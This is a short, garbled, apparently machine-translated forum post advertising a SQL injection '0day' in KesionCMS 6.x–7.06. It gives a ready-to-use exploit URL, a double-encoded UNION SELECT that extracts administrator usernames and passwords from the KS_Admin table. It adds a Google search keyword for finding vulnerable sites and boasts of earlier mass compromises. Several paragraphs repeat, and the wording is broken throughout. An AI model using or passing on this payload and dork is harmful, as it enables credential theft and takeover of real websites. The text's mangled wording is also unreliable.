Kichen CMS6.X-7.06 latest injection 0day

There are many people using kesionCMS. It is often exposed to violent holes. I remember that I had a lot of websites hiding the 0day injection of an HTTP header from coson a few years ago. At that time, I liked to stick to my ass. We have made a lot of pornographic image sites. This violent hole is the core of T00LS. Then a social worker from the Forum gave it to the community and then studied it. EXP: h of the account and password of the direct violence Administrator

There are many people using kesionCMS. It is often exposed to violent holes. A few years ago, I remember a cool HTTP header Injection

There were many sites on the 0day day, and at that time I liked to stick to my ass. We have made a lot of pornographic image sites.

This violent hole is the core of T00LS. ThenBbs'Target = '_ blank'>ForumA social worker gave it to the club and then studied it.

EXP of the Administrator account and password:

Http://www.tmdsb.com/user/reg/regajax.asp? Action = getcityoption & proviNcE = goingta % 2527% 2520 union % 2520% 2573% 2565% 256C % 2565% 2563% 2574% 25201, username % 252B % 2527% 257C % 2527% 252 Bpassword % 2520 from % 2520KS_Admin % 2500

Google Keyword: PowerEdBy kesionCMS